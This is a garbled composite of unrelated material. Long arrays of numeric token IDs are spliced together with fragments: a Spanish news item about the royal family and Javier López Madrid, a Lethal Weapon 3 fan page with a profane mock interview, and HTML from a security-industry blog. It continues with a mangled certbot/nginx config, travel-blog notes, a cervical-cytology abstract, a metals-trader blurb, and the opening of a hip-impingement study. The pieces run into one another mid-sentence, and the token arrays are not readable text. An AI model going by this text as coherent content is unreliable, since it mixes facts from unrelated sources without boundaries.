9, 11478, 33664, 4587, 1394, 1705, 327, 1066, 281, 1114, 356, 5582, 457, 84, 4874, 641, 327, 253, 16838, 13, 479, 12, 9903, 5134, 457, 620, 921, 368, 752, 457, 84, 752, 7435, 20392, 2, 187, 187, 9, 1405, 4587, 10249, 378, 9324, 13, 247, 767, 1061, 350, 1163, 1737, 369, 6673, 33342, 1665, 751, 1078, 344, 21023, 15589, 84, 32, 1244, 858, 368, 2455, 755, 281, 16463, 521, 28548, 4707, 32, 187, 9, 26845, 4587, 67, 22052, 436, 310, 1663, 1265, 249, 281, 24329, 479, 745, 13, 752, 457, 84, 253, 4112, 1060, 2, 32, 3166, 359, 452, 247, 49826, 1895, 2, 32, 187, 187, 9, 46, 4587, 6272, 368, 247, 39203, 32, 187, 9, 35, 4587, 1276, 253, 10739, 1057, 326, 452, 281, 513, 342, 2712, 32, 187, 187, 9, 46, 4587, 6089, 13, 1078, 344, 5103, 285, 5339, 368, 13, 38798, 4682, 15559, 369, 10885, 690, 9305, 9132, 13, 13828, 281, 1056, 581, 273, 521, 28648, 42803, 323, 8132, 5943, 2866, 42, 10369, 5545, 344, 574, 673, 281, 14841, 521, 3564, 2378, 253, 764, 5011, 3053, 13, 16906, 537, 344, 2918, 368, 1223, 368, 4962, 275, 521, 2266, 1157, 9132, 90, 3564, 2866, 5430, 858, 326, 2818, 368, 32, 187, 9, 35, 4587, 30531, 7519, 8702, 4672, 13, 7168, 619, 930, 5830, 40889, 2, 20356, 13869, 6317, 428, 18482, 692, 290, 43183, 2413, 1358, 13980, 39098, 13608, 15, 681, 16, 9292, 13646, 16, 3945, 16, 32296, 26, 187, 257, 6601, 1075, 48741, 2, 4915, 7, 53, 4566, 10567, 342, 697, 747, 3988, 16, 9511, 29885, 3238, 2413, 1358, 13980, 39098, 13608, 15, 681, 16, 9198, 16, 42959, 14, 1200, 10468, 398, 14, 1595, 14, 2184, 265, 14, 1221, 647, 14, 953, 14, 1826, 14, 13980, 14, 9511, 14, 37771, 318, 14, 21922, 187, 29, 2154, 966, 568, 3423, 1673, 14, 1590, 14, 3423, 14, 22934, 1673, 14, 881, 14, 9292, 13646, 14, 3945, 14, 14005, 1673, 14, 1968, 14, 19057, 2590, 11097, 1138, 187, 29, 2154, 966, 568, 3423, 14, 15565, 1138, 187, 29, 2154, 966, 568, 3423, 14, 4835, 1014, 3, 2867, 568, 18982, 27, 7582, 36196, 27, 20132, 263, 1138, 53, 405, 427, 584, 282, 24116, 91, 870, 2154, 31, 187, 870, 2154, 31, 187, 870, 2154, 31, 187, 29, 2154, 966, 568, 3423, 1673, 14, 1590, 14, 3423, 14, 16712, 2754, 1673, 14, 881, 14, 8608, 15364, 1673, 14, 1968, 14, 19057, 2590, 11097, 1138, 187, 29, 2154, 966, 568, 3423, 14, 15565, 1138, 187, 29, 2154, 966, 568, 3423, 14, 4835, 1014, 3, 2867, 568, 18982, 27, 2754, 32963, 36196, 27, 22337, 5264, 2551, 966, 568, 2754, 14, 8412, 14, 20199, 3, 2867, 568, 18982, 27, 2754, 32963, 36196, 27, 22337, 3, 2856, 39960, 568, 18728, 27, 2754, 4769, 3, 2600, 568, 6755, 14, 2904, 14, 1229, 53, 361, 27, 361, 27, 361, 14, 2125, 27, 361, 1138, 2904, 16, 1229, 16, 6755, 870, 2551, 3073, 2154, 31, 187, 870, 2154, 31, 187, 870, 2154, 31, 187, 29, 2154, 966, 568, 3423, 1673, 14, 1590, 14, 2915, 1673, 14, 881, 14, 1156, 14, 3113, 14, 8774, 1673, 14, 1968, 14, 19057, 2590, 11097, 1138, 187, 29, 2154, 966, 568, 3423, 14, 15565, 1138, 187, 29, 2154, 966, 568, 3423, 14, 4835, 1014, 3, 2867, 568, 18982, 27, 14600, 15163, 2600, 27, 36034, 1138, 654, 81, 31, 42, 2361, 275, 2552, 326, 4915, 7, 1301, 28, 53, 369, 11734, 253, 3988, 2317, 342, 5768, 7587, 275, 16700, 285, 275, 18267, 273, 697, 1728, 3988, 16, 9511, 29885, 3238, 1925, 16132, 7813, 15, 380, 4014, 681, 671, 7560, 840, 273, 697, 5827, 281, 654, 66, 3860, 568, 2413, 1358, 2700, 15, 13980, 39098, 13608, 15, 681, 16, 14600, 16, 1595, 14, 33443, 763, 14, 13980, 3, 2303, 23604, 22473, 1138, 16702, 326, 2317, 870, 66, 31, 949 ]	abe slo que pienso Javier. Sabemos quién eres, sabes quiénes somos. Nos conocemos, nos queremos, nos respectamos. Los demás, merde. Un beso compi yogui". Cuando el diario.es publicó el contenido de los mensajes, Casa Real se negó a confirmar la participación de los reyes en la conversación en los términos del artículo y se limitaron a asegurar que la relación de amistad se había roto. El apoyo de los reyes al ahora condenado se produjo cuatro meses después de la coronación de Felipe VI. Javier López Mádrid fue miembro del consejo de Caja Madrid. Usó su tarjeta opaca entre el 24 de febrero de 2010 y el 22 de diciembre de 2011. Su gasto total con la black ascendió a 34.807 euros. El mayor gasto de una sola vez corresponde a una compra en Iberia por importe de 3.067 euros. El examigo de los reyes se ha visto envuelto en los últimos años en varios casos que han acabado en los juzgados. Al de las tarjetas black, que ya se conocía en el momento del intercambio de mensajes, se sumó su imputación por el presunto acoso a una doctora madrileña.I was Daryl from Lethal Weapon 3 Written by Mr. Mouseburger 1st Mar 2006 from moviedeaths.com (a little background) Daryl is one of Nick Murtaugh’s school friends. and member of a mildly sinister gang. I say mildly sinister because they don’t seem to do much wrong apart from make a quick exit when the cops are about. (that and the trafficking of illegal narcotics and firearms) [cut to] Outside of Fast Eddies, Riggs and Murtaugh notice some suspicious behavior by some kids, and so they tell the hoodlums to freeze. This statement has the opposite effect on them and they run.( actually mr mouseburger, while murtaugh was busy flappin his gums and making a burger, Riggs noticed the suspicious activity in the alley and decided to act on his own) Following a bit of a chase, Riggs and Murtaugh manage to corner the kids, who open fire in desperation – Murtaugh responds by returning shots and he successfully shoots a hoodlum. When he goes to check the body he discovers, to his horror, that it is Nick’s friend, Daryl. [comment 1 by ‘dudley jenkins’] The last time I heard when someone has been shot, they either die or lay there in agony. So the death scene to me was one that I would believe because after the agony, he died. So shot being the statement, was an understatement, because the action caused the correct reaction. I applaud the dying scene.[comment 2 by ‘mr mouseburger’] That is a good point Dudley – too often we see the action and not the consequences. So it is very easy to see countless people getting shot and think that there is no pain involved, due to being desensitized. To see this kid lying there in agony after being shot really brings home the fact that guns are not just toys (as these kids seem to think in the film).[comment 3 by ‘Matt’] They really sold it in the film. We even have the funeral, which makes it all the more important, as does the fact it really affects Murtaugh.[comment 4 by ‘Karl_Eichholtz_13’] if smithers is a friend of nicholas murtaugh why is he a member a gang? wouldn’t this count as betrayal and former friends?[comment 5 by ‘Kooshmeister’] No, it’s not “Betrayal” ’cause Daryl is killed by Roger Murtaugh, Nick’s father. Daryl, whether Nick’s friend or not, was breaking the law and shooting at Roger who fired back in self-defense. As for “Former Friends,” Daryl was Nick’s friend, not Roger’s, and besides, as we see later, although Nick blames Daryl and not his father for the death, he never disowns him as a friend. I kind of got the impression Nick and Daryl had known one another since they were kids, allowing Nick to overlook Daryl’s gang affiliations, and Daryl to not mind that Nick’s father is a cop.[comment 6 by ‘bird’] good point kooshmeister! ———————“DA INTERVIEW” After my relentless search for the character “daryyl smithers” aka ” bobby wynn”, I finally located him via facebook technology residing on the famed jersey shore, I first saw bobby in 1991, playing a bully on a family matters episode “fight the good fight”, i later recognized him on baywatch hawaii and was touched by his genius, so i set out on a quest to get inside the mind of “darryl” and when i finally found him, through pure cunning, like hunting a wild tiger in the sahara, he agreed to answer a few questions on the phone: (me)- Mr wynn, your short lived acting career consisted of one family matters episode, two spots on baywaych hawaii,and reached it’s pinnacle (in my opinion)when you played Daryl Smithers in the feature film lethal weapon three? (Bobby)-dUde, i neva even seen lethal weapon 3, and i was like 8 when family matters aired… what the hell is dis? (me)-It must have been intense undertaking such a change in appearance for those two legendary scenes, was it hot under all that make-up? (Bobby)-What the fuck is this? you told me this was for teen beat jersey shore, are you fuckin wit mE aSShole!!?? (me)-What was it like being shot and killed by danny glover’s character seargant murtah? (Bobby)- What!? sergeant wHo??? (me)- In your opinion, was he really too old for this shit? (Bobby)-FUCK YOU! (me)- Did you ever feel in danger on the set being around such a reckless man as martin riggs? (Booby)-You come on down to monaghan’s liquors on the shore, me+donny’ll show you what’s what fuck nuts! (me)-OK BOB, a two parter : What was mel gibson like before he hated jews? And did you ever get to brush his glorious hair? (Bob)-bRo this is really startin to piss me off, what’s the situation here!? Do we have a fuckin problem!? (M)- Are you a vegetarian? (B)-What the shit does that have to do with anything? (M)- Well, before he shot and killed you, sergeant murtah was handling some raw meat, preparing to make one of his specialty burgers for riggs…I seriously doubt he had time to wash his hands once the commotion started, afterwards.. he held you while you died in his strong, meaty hands…how did that affect you? (B)-FUCK YOU!!, lose my numba asshole!Security Systems News - Magnificent Milehttp://securitysystemsnews.com/taxonomy/term/4959 enAttention shoppers! AT&T goes retail with its new security/home automation serviceshttp://securitysystemsnews.com/blog/attention-shoppers-att-goes-retail-its-new-security-home-automation-services <div class="field field-name-field-blogger field-type-taxonomy-term-reference field-label-hidden clearfix"> <div class="field-items"> <div class="field-item even" property="schema:author dc:creator">Tess Nacelewicz</div> </div> </div> <div class="field field-name-field-pubdate field-type-datestamp field-label-hidden clearfix"> <div class="field-items"> <div class="field-item even" property="schema:datePublished dc:created"><span class="date-display-single" property="schema:datePublished dc:created" datatype="xsd:dateTime" content="2012-08-30T00:00:00-04:00">08/30/2012</span></div> </div> </div> <div class="field field-name-body field-type-text-with-summary field-label-hidden clearfix"> <div class="field-items"> <div class="field-item even" property="schema:articleBody content:encoded"> <p>I reported in May that AT&T was entering the security space with summer trials in Dallas and in Atlanta of its home security/home automation services called Digital Life. The telecom also spoke then of its plans to <a href="http://www.securitysystemsnews.com/article/att-bullish-security" target="_blank">transform that space</a> through
[ 5306, 12042, 281, 20486, 253, 27243, 27, 187, 187, 15004, 12042, 1969, 1251, 27475, 187, 187, 10758, 2218, 13, 253, 427, 48431, 3596, 1873, 943, 452, 4391, 13, 285, 943, 320, 751, 253, 1563, 27, 187, 187, 9438, 551, 187, 187, 9438, 64, 1590, 634, 14, 15083, 14071, 15, 78, 50036, 15, 681, 28, 187, 187, 26520, 64, 5858, 187, 187, 94, 4328, 1227, 551, 26520, 64, 5858, 3944, 1358, 22922, 27, 20, 4699, 16, 8028, 544, 1450, 5218, 28871, 256, 3433, 13997, 87, 23, 7483, 30, 251, 28, 1852, 7303, 407, 19937, 12042, 187, 187, 42050, 34790, 256, 3433, 28, 1852, 7303, 407, 19937, 12042, 256, 3433, 64, 15004, 10735, 1227, 14069, 16, 6639, 2083, 7430, 16, 22621, 16, 12550, 14, 15083, 14071, 15, 78, 50036, 15, 681, 16, 11546, 10050, 15, 81, 358, 28, 1852, 7303, 407, 19937, 12042, 256, 3433, 64, 15004, 10735, 64, 2364, 1227, 14069, 16, 6639, 2083, 7430, 16, 22621, 16, 12550, 14, 15083, 14071, 15, 78, 50036, 15, 681, 16, 13552, 2364, 15, 81, 358, 28, 1852, 7303, 407, 19937, 12042, 2486, 1227, 14069, 16, 6639, 2083, 7430, 16, 10121, 14, 28908, 14, 1251, 27475, 15, 8259, 28, 1852, 7303, 407, 19937, 12042, 187, 187, 28908, 64, 20402, 3575, 1227, 14069, 16, 6639, 2083, 7430, 16, 28908, 14, 20402, 12928, 15, 81, 358, 28, 1852, 7303, 407, 19937, 12042, 187, 187, 9438, 551, 187, 187, 338, 4816, 5465, 426, 634, 14, 15083, 14071, 15, 78, 50036, 15, 681, 10, 551, 187, 187, 2309, 24271, 187, 187, 94, 1852, 7303, 407, 19937, 12042, 4771, 551, 338, 4816, 5465, 426, 634, 14, 15083, 14071, 15, 78, 50036, 15, 681, 10, 551, 2309, 24271, 5987, 1358, 5, 5465, 5, 9629, 64, 11317, 748, 1852, 7303, 407, 19937, 12042, 8028, 5096, 28, 187, 187, 42050, 544, 1450, 5218, 1438, 28, 4771, 64, 1590, 634, 14, 15083, 14071, 15, 78, 50036, 15, 681, 28, 187, 187, 2309, 21566, 28, 1852, 7303, 407, 19937, 12042, 187, 187, 94, 187, 187, 4497, 13, 359, 403, 2218, 13, 285, 427, 48431, 310, 598, 285, 3515, 13, 2444, 347, 247, 8107, 17335, 323, 253, 270, 18038, 14, 44683, 14, 15083, 14071, 622, 15, 187, 187, 510, 1390, 2181, 281, 513, 310, 816, 1527, 253, 9882, 285, 1611, 352, 27, 53, 7417, 3837, 16179, 31349, 34382, 706, 6646, 19580, 68, 6035, 187, 187, 42576, 2071, 14175, 432, 19580, 68, 6035, 187, 187, 1051, 6927, 753, 685, 2218, 15, 1707, 403, 3402, 281, 3402, 21440, 533, 642, 15114, 562, 2914, 15, 844, 1119, 271, 9890, 10301, 835, 359, 3395, 253, 806, 6383, 323, 253, 2360, 15, 380, 46216, 9919, 281, 4665, 253, 8910, 323, 441, 15, 187, 187, 1145, 3024, 442, 949, 326, 703, 574, 6960, 247, 22534, 327, 247, 14408, 2613, 428, 3430, 13, 352, 369, 247, 2622, 22534, 342, 253, 577, 7522, 723, 275, 247, 7150, 327, 616, 1211, 15, 27288, 13, 973, 309, 3589, 626, 2119, 672, 253, 8910, 5382, 369, 5544, 15, 754, 1127, 281, 253, 19992, 5202, 562, 3346, 187, 187, 1051, 6561, 3971, 323, 670, 884, 10294, 285, 840, 359, 4352, 253, 11600, 15, 42340, 15, 530, 1814, 36972, 3672, 873, 598, 275, 2914, 273, 15660, 265, 285, 288, 14298, 15, 380, 29955, 620, 284, 497, 24104, 275, 616, 22290, 428, 8862, 285, 4759, 13, 8862, 285, 3168, 13, 2502, 285, 4797, 15, 329, 29553, 528, 8184, 13, 816, 751, 368, 923, 275, 22575, 285, 275, 253, 11321, 15, 1707, 497, 344, 1825, 273, 952, 327, 253, 29780, 13, 5101, 17326, 327, 253, 36767, 298, 415, 2510, 285, 17120, 275, 253, 5389, 4797, 1824, 15, 187, 187, 39685, 547, 4131, 369, 1529, 5508, 1475, 253, 47399, 285, 840, 247, 1652, 12701, 15, 4952, 387, 253, 388, 7, 46, 6224, 15, 844, 840, 7270, 253, 3468, 9735, 281, 4135, 428, 2686, 253, 33111, 432, 253, 1755, 273, 253, 2022, 19913, 281, 253, 1685, 4660, 313, 1857, 29202, 342, 512, 253, 14545, 10, 281, 2525, 8652, 665, 369, 6179, 281, 2525, 441, 342, 776, 2806, 12605, 267, 4660, 31829, 16263, 1113, 15, 844, 12668, 281, 5003, 2398, 2610, 285, 7270, 253, 10856, 1113, 598, 281, 253, 1755, 15, 844, 574, 11580, 1060, 342, 8024, 6481, 285, 6129, 285, 7636, 3346, 187, 187, 14569, 309, 717, 1469, 281, 320, 8872, 281, 3553, 19580, 68, 6035, 533, 3063, 309, 1353, 1469, 281, 452, 25259, 21078, 323, 253, 6470, 66, 305, 900, 4635, 285, 309, 717, 2820, 281, 755, 347, 1199, 14997, 347, 309, 476, 594, 326, 309, 476, 4489, 247, 353, 1452, 257, 7351, 323, 619, 19338, 20554, 15, 672, 309, 4582, 299, 275, 17956, 257, 17563, 309, 1833, 320, 5211, 281, 5184, 896, 327, 619, 37931, 4697, 285, 452, 690, 794, 689, 3346, 187, 187, 14569, 387, 253, 6470, 66, 372, 305, 900, 4635, 309, 4425, 281, 452, 247, 747, 4736, 15, 309, 871, 326, 309, 588, 417, 5115, 436, 4736, 594, 309, 1537, 417, 789, 327, 352, 1077, 1199, 10873, 15, 831, 4736, 310, 281, 4489, 247, 3044, 38997, 7351, 323, 619, 19338, 20554, 15, 43475, 309, 717, 417, 2119, 752, 309, 588, 1132, 15, 309, 858, 1132, 247, 747, 2165, 497, 368, 452, 281, 1611, 285, 5310, 5497, 583, 15, 5131, 685, 326, 352, 369, 247, 2622, 1388, 15, 1707, 310, 247, 7512, 2708, 4645, 849, 3511, 352, 3346, 36, 677, 474, 8376, 47910, 34177, 13411, 275, 20292, 27, 1263, 273, 4554, 1975, 4342, 875, 12034, 285, 8878, 275, 34215, 31138, 2418, 14, 41946, 15, 187, 510, 4096, 273, 253, 1246, 1263, 369, 281, 24228, 253, 4294, 273, 17206, 924, 6364, 19147, 313, 52, 3077, 16, 68, 20153, 3691, 10, 275, 767, 7625, 275, 253, 2418, 273, 322, 15, 31138, 313, 41946, 10, 665, 497, 22546, 323, 17349, 2923, 1309, 253, 1390, 7457, 1107, 27, 20292, 313, 484, 281, 253, 2363, 273, 3127, 10, 285, 7747, 313, 1189, 3127, 481, 18300, 1783, 2692, 247, 14955, 281, 4872, 2572, 275, 4294, 273, 10969, 17206, 924, 6364, 275, 1097, 2390, 313, 324, 3841, 1154, 27, 14679, 426, 470, 15, 14711, 11620, 470, 15, 3208, 28, 6782, 27, 14679, 426, 470, 15, 41040, 11620, 470, 15, 21940, 582, 1146, 3687, 275, 253, 28911, 1387, 313, 3433, 1714, 470, 15, 18832, 11620, 470, 15, 22439, 10, 685, 275, 253, 6782, 1387, 15, 17842, 12034, 285, 8878, 253, 8996, 273, 10969, 924, 6364, 1195, 6216, 275, 253, 6782, 1387, 313, 4064, 470, 15, 1787, 281, 337, 15, 1093, 10, 285, 2761, 9853, 579, 37787, 275, 253, 28911, 1387, 313, 4064, 470, 15, 1540, 281, 374, 15, 740, 481, 11578, 9646, 31920, 8376, 47910, 10429, 313, 52, 3077, 10, 497, 253, 954, 10879, 4342, 275, 17349, 4554, 1497, 275, 1097, 2390, 27, 11266, 15, 20, 6, 275, 253, 28911, 1387, 285, 10447, 15, 25, 6, 275, 253, 6782, 1387, 15, 29578, 2219, 273, 1029, 9646, 31920, 540, 6182, 262, 7927, 10429, 313, 8282, 3077, 10, 313, 24, 15, 24, 2673, 285, 642, 2219, 273, 12382, 497, 1119, 275, 28911, 3072, 15, 844, 5125, 326, 20512, 3939, 20292, 943, 320, 2908, 275, 17349, 9273, 5659, 15, 34, 321, 312, 292, 40046, 13, 16169, 187, 187, 34, 321, 312, 292, 40046, 13, 16169, 310, 247, 4156, 3520, 18153, 18494, 24230, 1408, 407, 7407, 12440, 5277, 247, 2120, 2491, 273, 3238, 281, 512, 5014, 275, 253, 18153, 18494, 5931, 13, 432, 11998, 285, 3275, 281, 10264, 285, 8353, 15, 29730, 312, 292, 16633, 8558, 327, 18153, 18494, 533, 671, 556, 3862, 2793, 342, 2613, 5148, 21364, 313, 1940, 3803, 13, 20458, 13, 30237, 21364, 10, 13122, 15, 29730, 312, 292, 2987, 342, 512, 18153, 5148, 3580, 13, 1690, 512, 2144, 326, 778, 3831, 5328, 13, 9711, 13, 32297, 13, 23915, 12044, 13, 13882, 26796, 13, 3496, 29455, 13, 40422, 864, 1514, 13, 391, 864, 1514, 15, 380, 4948, 273, 436, 2144, 2486, 12156, 279, 13, 277, 410, 13, 18572, 13, 39088, 13, 305, 1952, 2721, 13, 13723, 13, 5793, 2900, 13, 21364, 13, 11687, 285, 7418, 643, 4948, 15, 29730, 312, 292, 23000, 3400, 247, 3862, 2491, 273, 32339, 3238, 1690, 8534, 347, 247, 3520, 5148, 24230, 13, 24230, 19714, 285, 10459, 15065, 27787, 3238, 15, 18, 15, 12276, 1712, 1704, 18, 94, 187, 19557, 187, 187, 10457, 253, 1390, 9976, 13, 3427, 12892, 12204, 357, 792, 1607, 272, 1003, 313, 5377, 42, 10, 556, 644, 7744, 7478, 347, 247, 2847, 273, 6722, 13290, 3075, 285, 247, 1896, 29498, 28163, 1617, 323, 253, 2440, 273, 2393, 10160, 44483, 1254, 35, 18, 7254, 35, 22, 1656, 6408, 4812, 9381, 285, 42392, 273, 253, 13290, 13, 29104, 490, 307, 420, 875, 253, 28773, 7623, 16889, 285, 253, 10465, 357, 792, 22083, 778, 1421, 281, 247, 25282, 273, 47073, 2544, 1690, 5188, 4638, 20638, 13, 28877, 409, 267, 22622, 13, 285, 10844, 10465, 357, 792, 25548, 1448, 10899, 1254, 35, 18, 1092, 1008, 35, 23, 1092, 1008, 35, 24, 1656, 496, 2087, 13, 10601, 42, 778, 320, 4269, 407, 767, 2201, 3510, 273, 271, 16807, 19147, 15, 6039, 14, 881, 10601, 42, 310, 7943, 407, 271, 29781, 16635, 6661, 273, 253, 28773, 1481, 14, 34936, 16889, 13, 285, 9176, 1209, 14, 881, 10601, 42, 310, 2330, 342, 10465, 357, 792, 689, 16484, 486, 390, 13767, 4149, 15, 14522, 13, 2067, 2175, 452, 2011, 326, 954, 1363, 2686, 452, 247, 5678, 830, 313, 37340, 10601, 42, 10, 273, 253, 767, 3510, 1254, 35, 21, 1092, 1008, 35, 23, 7254, 35, 883, 1656, 187, 187, 6436, 13, 253, 3361, 273, 841, 271, 16807, 19147, 310, 417, 7933, 2330, 342, 3382, 5917, 15, 496, 5312, 1495, 13, 247, 10665, 7155, 273, 952, 342, 4049, 390, 9176, 1209, 22403, 1005, 778, 417, 1928, 667, 3075, 13, 285, 616, 271, 16807, 19955, 778, 3464, 36568, 264, 15, 17746, 13, 247, 1180, 273, 2175, 452, 644, 2684, 281, 7472, 253, 8996, 273, 4049, 390, 9176, 1209, 22403, 1005, 275, 30192, 952, 15, 34999, 1162, 355, 15, 2361, 247, 8996, 273, 1638, 6, 846, 9273, 1052, 15986, 432, 616, 4675, 4750, 970, 14478, 1254, 35, 805, 1656, 22300, 13, 1720, 35009, 16836, 1162, 355, 15, 6760, 247, 11077, 273, 30192, 38136, 342, 14478, 285, 1119, 247, 8996, 273, 2164, 6, 1254, 35, 1012, 1656, 496, 3963, 5014, 273, 1029, 3486, 9001, 313, 10328, 347, 5842, 13, 6749, 19971, 13, 390, 46237, 582, 1014, 2169, 26026, 1532, 17352, 7288, 6, 285, 11422, 6, 1532, 9802, 644, 2361, 1254, 35, 1047, 7254, 35, 1036, 1656, 187, 187, 10342, 273, 253, 2175, 326, 452, 22546, 7625, 323, 4049, 390, 9176, 1209, 22403, 1005, 908, 14478, 390, 7403, 20947, 15, 1723, 13, 275, 5312, 3382, 3946, 13, 1363, 665, 1246, 342, 13290, 3075, 588, 806, 452, 7925, 1594, 14, 20237, 2797, 1254, 35, 21, 1092, 1008, 35, 23, 1092, 1008, 35, 1166, 1092, 1008, 35, 1093, 1656, 1916, 3157, 253, 7914, 7200, 273, 841, 1594, 14, 20237, 13, 352, 778, 320, 9371, 281, 871, 253, 8996, 273, 22403, 1005, 2330, 342, 10601, 42, 327, 8342, 6590, 275, 253, 3388, 30192, 3072, 15, 20539, 4102, 13, 2175, 16344, 1594, 14, 20237, 273, 30192, 952, 323, 4049, 285, 9176, 1209, 22403, 1005, 497, 3710, 15, 3813, 13, 253, 4096, 273, 436, 1263, 369, 281, 3601, 271, 440, 16191, 11077, 273, 952, 1293, 13290, 5917, 323, 7925, 46513, 7871, 2330, 342, 4049, 285, 16, 263, 9176, 1209, 10601, 42, 15, 844, 24045, 326, 247, 1534, 7155, 273, 30192, 952, 651, 452, 46513, 7871, 273, 10601, 42, 327, 7925, 1594, 14, 20237, 15, 187, 187, 19, 15, 17724, 285, 13277, 1712, 1704, 19, 94, 187, 27240, 187, 187, 1552, 19403, 1263, 369, 7012, 407, 253, 21482, 7039, 273, 253, 8710, 2499, 754, 45355, 313, 12919, 1180, 4332, 14, 23139, 47, 14, 3788, 10, 285, 310, 275, 8956, 342, 253, 16204, 273, 34159, 15, 17842, 4267, 285, 4332, 13, 4097, 47818, 285, 2831, 14, 2420, 8188, 25446, 497, 21774, 2684, 323, 1363, 665, 3559, 281, 776, 8945, 7811, 342, 7928, 14977, 281, 253, 13290, 390, 46501, 15, 380, 1594, 14, 20237, 285, 3739, 4367, 273, 841, 1363, 497, 39599, 6760, 15, 187, 187, 688, 3444, 6866, 323, 253, 1263, 2908, 253, 3361, 273, 4097, 47818, 285, 2831, 14, 2420, 8188, 25446, 273, 10599, 3290, 13, 1491, 327, 253, 3110, 4479, 84, 3739, 2892, 13, 285, 3110, 2363, 3687, 685, 1283, 1107, 15, 187, 187, 29139, 665, 2361, 1907, 13290, 5917, 313, 70, 15, 72, 904, 3075 ]	certbot to configure the SSL: certbot --nginx Once done, the Nginx config file should have changed, and should be like the following: server { server_name your-explorer.mooo.com; proxy_pass } location / {proxy_pass http://localhost:3002/ listen [::]:443 ssl ipv6only=on; # managed by Certbot listen 443 ssl; # managed by Certbot ssl_certificate /etc/letsencrypt/live/your-explorer.mooo.com/fullchain.pem; # managed by Certbot ssl_certificate_key /etc/letsencrypt/live/your-explorer.mooo.com/privkey.pem; # managed by Certbot include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot server { if ($host = your-explorer.mooo.com) { return 301 } # managed by Certbot server {if ($host = your-explorer.mooo.com) {return 301 https://$host$request_uri } # managed by Certbot listen 80; listen [::]:80; server_name your-explorer.mooo.com; return 404; # managed by Certbot } Well, we are done, and Nginx is up and running, working as a reverse proxy for the btc-rpc-explorer app. The last thing to do is just open the browser and try it:TripAdvisor Reviews Rigobello Riccione Travel Blogs from Riccione ... easier said than done. There are wall to wall hotels but no restaurants out front. We found an Italian restaurant where we became the first customers for the night. The waiter attempted to interpret the menu for us. Annette through that she had ordered a pizza on a potato base - wrong, it was a normal pizza with the 4 fillings in a quarter on their own. Mine, well I wasn't sure when the menu item was explained. He point to the palm tree out... ... secondary road for about 10km and then we hit the beach. Wow. Umbrella areas set up in front of cafes and huts. The umbrellas were grouped in their colours - yellow and green, yellow and white, red and blue. A marvelous sight, just like you see in magazines and in the movies. There were heaps of people on the beaches, sun baking on the banana lounges and swimming in the beautiful blue water. Venice morning was another spin around the canals and then a little shopping. Even at the H&M sales. We then caught the slow boat to China - actually the ferry from the top of the main canal to the bus station (45 mins with all the stops) to meet Lee who was waiting to meet us with our black Opal station wagon hire car. We drove to San Marino and caught the cable car up to the top. We had visited here with Erwin and Di and loved... Today I am going to be sad to leave Riccione but today I'm going to have eighteen coins for the Sala giochi and I am trying to get as much tickets as I can so that I can buy a Mqueen bag for my cousin Oliver. when I arriv e in Issenheim I'll be happy to hop back on my skateboard and have some fun over... Today at the Sala de giochi I decided to have a new goal. I know that I will not achieve this goal so I might not work on it very much tomorrow. This goal is to buy a McQueen bag for my cousin Oliver. Tomorrow I am not sure what I will play. I did play a new game were you have to try and shoot moose. Other than that it was a normal day. There is a photo below showing how hot it...Cervical intraepithelial neoplasia in adolescents: study of cytological findings between 1987 and 1995 in São Paulo State-Brazil. The purpose of the present study was to ascertain the frequency of Pap smears abnormalities (SIL/carcinoma) in two populations in the State of S. Paulo (Brazil) who were screened for cervical cancer during the last nine years: adolescents (up to the age of 21) and adults (over 21). Statistical analysis showed a tendency to linear increase in frequency of abnormal Pap smears in both groups (adolescent: slope = 0.118 +/- 0.56; adult: slope = 0.079 +/- 0.021), being greater in the adolescent group (slope 0.039 +/- 0.038) than in the adult group. Between 1987 and 1995 the prevalence of abnormal smears tripled in the adult group (from 0.37 to 1.18) and almost quadruplicated in the adolescent group (from 0.64 to 2.10). Low grade squamous intraepithelial lesions (SIL) were the most frequent findings in cervical cytology in both groups: 92.3% in the adolescent group and 69.8% in the adult group. Few cases of high grade squamous intrapeithelial lesions (HSIL) (7.7%) and no cases of carcinoma were found in adolescent population. We suggested that sexually active adolescents should be included in cervical screening programs.Auramet Trading, LLC Auramet Trading, LLC is a global physical precious metals merchant run by experienced professionals providing a full range of services to all participants in the precious metals chain, from extraction and production to manufacturing and consumption. Auramet focuses primarily on precious metals but also has broad experience with base metal concentrate (copper, zinc, nickel concentrate) transactions. Auramet works with all precious metal products, including all material that may contain gold, silver, platinum, palladium, rhodium, iridium, ruthenium, rhenium. The forms of this material include bullion, dore, scrap, sponge, gauze, grain, chemical solution, concentrate, powder and numerous other forms. Auramet additionally provides a broad range of personalized services including acting as a physical metal merchant, merchant banking and corporate finance advisory services.1. Introduction {#sec1} =============== During the last decade, femoroacetabular impingement (FAI) has been commonly recognized as a cause of chronic hip pain and a possible predisposing condition for the development of early osteoarthritis \[[@B1]--[@B5]\]. During internal rotation and flexion of the hip, repetitive abutment between the femoral neck junction and the acetabular rim may lead to a cascade of degenerative changes including labrum disruption, chondromalacia, and peripheral acetabular cartilage delamination \[[@B1], [@B6], [@B7]\]. In general, FAI may be caused by two major types of anatomic abnormalities. Cam-type FAI is characterized by an aspherical configuration of the femoral head-neck junction, and pincer-type FAI is associated with acetabular overcoverage or retroversion. Interestingly, several studies have shown that most patients actually have a combined form (mixed FAI) of the two types \[[@B4], [@B6]--[@B11]\]. However, the presence of these anatomic abnormalities is not necessarily associated with clinical symptoms. In daily life, a considerable percentage of people with cam or pincer deformities may not feel any pain, and their anatomic pathology may remain undetected. Recently, a number of studies have been performed to evaluate the prevalence of cam or pincer deformities in asymptomatic people. Hack et al. reported a prevalence of 14% after screening 200 volunteers from their hospital staff using MRI \[[@B12]\]. Likewise, Reichenbach et al. evaluated a cohort of asymptomatic recruits with MRI and found a prevalence of 24% \[[@B13]\]. In regular participants of high impact sports (such as football, ice hockey, or skiing), even higher percentages---between 55% and 87%---have been reported \[[@B14]--[@B16]\]. Most of the studies that have screened populations for cam or pincer deformities used MRI or CT scans. However, in daily clinical practice, patients who present with hip pain will first have native X-rays obtained \[[@B4], [@B6], [@B17], [@B18]\]. To improve the interpretation accuracy of these X-rays, it may be helpful to know the prevalence of deformities associated with FAI on plain films in the average asymptomatic population. Until recently, studies evaluating X-rays of asymptomatic people for cam and pincer deformities were limited. Therefore, the purpose of this study was to screen an unselected cohort of people without hip symptoms for native radiological signs associated with cam and/or pincer FAI. We hypothesized that a significant percentage of asymptomatic people would have radiological signs of FAI on native X-rays. 2. Material and Methods {#sec2} ======================= This retrospective study was approved by the Ethics Committee of the Medical University Heidelberg (Process number 2011-370N-MA) and is in accordance with the declaration of Helsinki. Between 2010 